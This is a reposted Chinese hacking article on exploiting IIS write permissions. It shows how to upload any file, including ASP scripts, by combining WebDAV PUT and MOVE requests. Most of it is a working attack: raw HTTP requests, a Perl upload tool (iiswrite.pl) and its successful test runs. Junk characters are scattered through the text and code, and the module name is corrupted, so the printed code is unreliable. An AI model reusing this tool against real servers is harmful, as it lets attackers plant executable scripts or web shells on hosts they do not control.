对iis写权限的利用

韩冰

作者：SuperHei 转自:http://www.4ngel.net

大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis写权限分析内容：

写权限

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

PUT /dir/my_file.txt HTTP/1.1 Host: iis-server 4 b% y+ N; v) h* LContent-Length: 10

/ a8 P8 i) I0 `8 L/ Q5 R/ R8 Z* h. w' D

　　这时服务器会返回一个100( 继续)的信息：

1 g* j1 \3 i% r) s, p: N) _ ^

( w' T1 r' Z. o# M( f) S% lHTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 Date: Thu, 28 Feb 2002 15:56:00 GMT

+ K+ a1 G1 R/ {1 @+ w

　　接着，我们输入10个字母：

6 ?0 H1 J! `: s i: s

; O4 b* o3 Q% s0 B+ z8 y8 oAAAAAAAAAA

' ~1 I, H% A* a- P8 Y% ]5 s

　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

4 J; g7 }% C5 r

HTTP/1.1 201 Created $ y6 o5 _1 R$ h5 x) y+ oServer: Microsoft-IIS/5.0 Date: Thu, 28 Feb 2002 15:56:08 GMT ' n% s3 L e" R1 a- a$ d2 a9 wLocation: http://iis-server/dir/my_file.txt 6 h/ T6 W% f( K& C2 O2 XContent-Length: 0 % F# B1 r: l; v# aAllow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

+ [3 O: N8 n: {! a

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

　　这里简单说明下：

6 j, I: G, ^5 M. E% Q' \PUT /dir/my_file.txt HTTP/1.1 0 B! q( ?3 |, w A, E* gHost: iis-server Content-Length: 10

6 ^2 w: O8 \' F) q) S, R# o

　　PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。 　　Host：是HTTP请求的发送地址 6 h& \5 }! _% Y9 R5 E; P% U9 g2 I7 @3 R　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

. m' n* g8 P8 l4 J" q- z

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下：

, ^/ ~6 {9 f2 G# G' z6 \5 T

#!/usr/bin/perl use I:Socket; $ARGC = @ARGV;

if ($ARGC != 4) { . F! K. D' A5 h8 o　　print "usage0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n"; ' c- O9 y- I F　　exit; } ) Y+ t7 Z# x1 W5 Q4 `! c- }: o$host = @ARGV[0]; + U+ _" @" b- H$ T: D$port = @ARGV[1]; F/ D/ \/ z' `$ a; h* z$file = @ARGV[2]; $path = @ARGV[3];

) R9 Z# n F# H1 ^

@s=stat("$file"); $size = $s[7]; #得到文件大小 print "$file size is $size bytes\n";

' D% X- q6 u5 l

my $sock = I:Socket::INET->new(Proto =>"tcp", 2 D% o2 z" J7 r& L7 G3 C: B4 J: WPeerAddr =>$host, , Y/ }% G1 l# q" L2 _* S0 RPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "PUT $path HTTP/1.1\n"; & M* k* Z& q- Z' X7 q- Hprint $sock "Host: $host\n"; # Y7 t* Q8 [4 h0 w+ [1 Eprint $sock "Content-Length: $size\n\n"; #sock连接

open(FILE,"$file"); binmode(FILE); #用2进制打开文件

/ B4 V5 l* {% \# C7 \* b+ @; _8 {

while (read(FILE,$char,1024)) { #读取文件数据上传 - P% x- G' W& O2 c/ c/ J　　print $sock "$char"; } print $sock "\n\n"; @req = <$sock>; print "please wait...\n"; sleep(2); 3 \4 Z; U8 x- ]& k3 Jif ($req[4]=~/200|201/){ 　　print "upfile Succeed!!!" ; #成功显示 * a1 r4 F+ B- t) _9 l. C. `} else{ - X3 r4 a" r7 h: _ K) H& P9 s　　print "upfile faile!!!\n\n"; & c1 W( w5 d* }8 W8 R8 g7 P　　print @req;#如果失败显示返回错误 5 ~9 Z" ^' i- m5 i% l, `} V* \$ ?8 J4 c7 w! n6 a; uclose $sock; - G; \# z4 Y1 P: U5 p# Kclose FILE;

m* l: z/ w. U8 v" c4 E

　　下面我们测试下：

' g9 ? q3 Y/ r( w: b

" O* U. J$ e& t; C- {

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt kaka.txt size is 14 bytes ) Y& X( i; @6 R: D' {please wait... 9 N8 o* B" G9 }+ B! G4 z& n. |upfile Succeed!!!

( K$ l& c8 M% S$ J* k

C:\Inetpub\Scripts>dir kaka.txt * R: t3 Q- }# ^$ m8 }9 Z& Q驱动器 C 中的卷没有标签。 : `* K. n3 y% W$ _卷的序列号是 3CD1-479E

3 R1 W- C& ]1 A' `, Z( P/ ?

C:\Inetpub\Scripts 的目录

) Y9 [ E/ I6 \$ j; j" M1 o

2004-05-05 00:37 14 kaka.txt 1 个文件 14 字节 0 个目录 3,871,080,448 可用字节

0 C: C5 ?- L* F1 R0 J# z' W

　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试下exe文件：

( W. L" U5 y* i! P* D1 D/ P1 o

% F4 M/ f' j# V# E' g, M5 T$ t3 Z) J

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe perl.exe size is 20535 bytes please wait... $ t* D- k ]/ }& h8 o: P* mupfile Succeed!!!

6 L# ~+ {1 O6 p

C:\Inetpub\Scripts>dir perl.exe 驱动器 C 中的卷没有标签。 # H8 H! f7 v" B! x: V. ^: M& S卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

/ F( v# z0 X8 ]/ Z9 `

2004-05-05 00:42 20,535 perl.exe 1 个文件 20,535 字节 7 ?/ y. W% p7 x0 个目录 3,871,031,296 可用字节

　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp 6 B6 w( r$ J$ v& ]3 Hkaka.asp size is 4 bytes please wait... H$ T& x( ]7 N) qupfile faile!!!

HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT

HTTP/1.1 403 Forbidden # s2 a3 t4 W; I$ h- ^9 SServer: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT Connection: close Content-Type: text/html " w1 Y4 ?6 \: t) V) w2 }3 yContent-Length: 44

. F, i6 e; S, ~6 z

<body><h2>HTTP/1.1 403 Forbidden</h2></body>

　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

( `, B0 a* U, Y7 i/ `) {) v" _

　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。

　　我们还是先用nc提交测试下：

/ u0 _: h9 l9 T3 C

/ \- R! q. ^5 u) S* A6 ^0 ^

D:\>nc 127.0.0.1 80 7 t7 f" x2 {6 {$ b8 xMOVE /scripts/kaka.txt HTTP/1.1 Host:127.0.0.1 Destination: http://127.0.0.1/scripts/kaka.asp

" p# q _3 ]+ p1 N4 z

HTTP/1.1 201 Created 2 J+ U5 @! D# {( fServer: Microsoft-IIS/5.0 : `. x3 y* b0 F8 nDate: Sun, 05 Oct 2003 09:30:59 GMT ; E g5 \$ }$ D6 J+ {' jLocation: http://127.0.0.1/scripts/x.asp Content-Type: text/xml 0 G2 T* t" t* t+ ~% \1 V7 r1 CContent-Length: 0

8 d$ C; L9 d+ _, W: S& ~

　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了。我们还是用perl来完成。

I& u; z+ @; w6 ^0 u. B

　　测试写asp成功：

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp ' l/ n; ^- J3 z************************************************************ codz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569> ************************************************************ - M2 n7 G# B/ U2 _7 ekaka.asp size is 4 bytes please wait... , L9 K0 }0 | Q- a3 vupfile Succeed!!! 6 K$ w0 g# g9 q: M5 H5 _* jModifyfile Succeed!!!

% f+ `1 J* E6 v7 A+ x" v; A+ ~( \

　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又lanker测试并最终完成，THX lanker。）：

8 `! ~; U6 g" p' g

K7 z1 R. D# r0 f- x5 F$ I

#!/usr/bin/perl #The iiswrite Script

; Y5 T% w% z: O

use I:Socket; $ARGC = @ARGV; 0 M$ p$ t/ O. B" U, k& Kprint "*" x 60; 5 N: Q. _ L( M% i/ Y1 G# Dprint "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n"; print "*" x 60,"\n"; if ($ARGC != 4) ; [* n0 J% }+ e$ `3 \0 j{ 7 [' Z; ?& `# N l s　　print "usage0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n"; 　　exit; } $host = @ARGV[0]; $port = @ARGV[1]; ( @: t- B; W( ~" H1 H$ ]$path = @ARGV[3]; $file = @ARGV[2];

@path=split("/",$path); : E* f' F3 C+ i4 a: I. i' R8 w$any = pop(@path); * W9 u+ {* L+ y! C; m$path1=join("/",@path); @s=stat("$file"); $size = $s[7];

" ^' C& @% V) |

print "$file size is $size bytes\n"; 3 \9 g, x6 u/ m8 K* q3 emy $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; 1 {' Q: _; w. j( Z: _2 ]: x$ ~print $sock "PUT $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Content-Length: $size\n\n"; $ d0 }4 _' O# ~! r- dopen(FILE,"$file")|| die "Can't open $file"; 1 r: c. R+ v1 r; k; kbinmode(FILE); # b& O4 u$ j. [while (read(FILE,$char,1024)) { - e) v, ]9 C8 w! w$ E3 `　　print $sock "$char"; } print $sock "\n\n"; @req = <$sock>; ' N% v6 m% v' Q4 F7 ~6 [& I3 jprint "please wait...\n"; sleep(2); ) N G2 u' ?, ^7 Y$ o: i; `+ dif ($req[4]=~/200|201/){ 　　print "upfile Succeed!!!\n" ; } else{ # P+ y s$ @% F# o* `　　print "upfile faile!!!\n"; } + _1 w! l' D' k' C3 x( y+ R- j$ Hclose $sock; close FILE;

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "MOVE $path1/lanker.txt HTTP/1.1\n"; , i ~1 N8 r6 @! oprint $sock "Host: $host\n"; ) m( t+ J" g0 U; l; Tprint $sock "Destination:http://$hostport$path\n\n\n\n"; ) T' U4 h v! l5 r. f$ Z@req = <$sock>; $ ]" S4 D$ i" b* t, Q7 [- Vif ($req[0]=~/20\d+|/){ 　　print "Modifyfile Succeed!!!" ; 2 T4 y+ T4 }- t% I `. K} 2 _% Y3 l1 q; c& `8 ~# B3 }else{ 　　print "upfile faile!!!"; } close $sock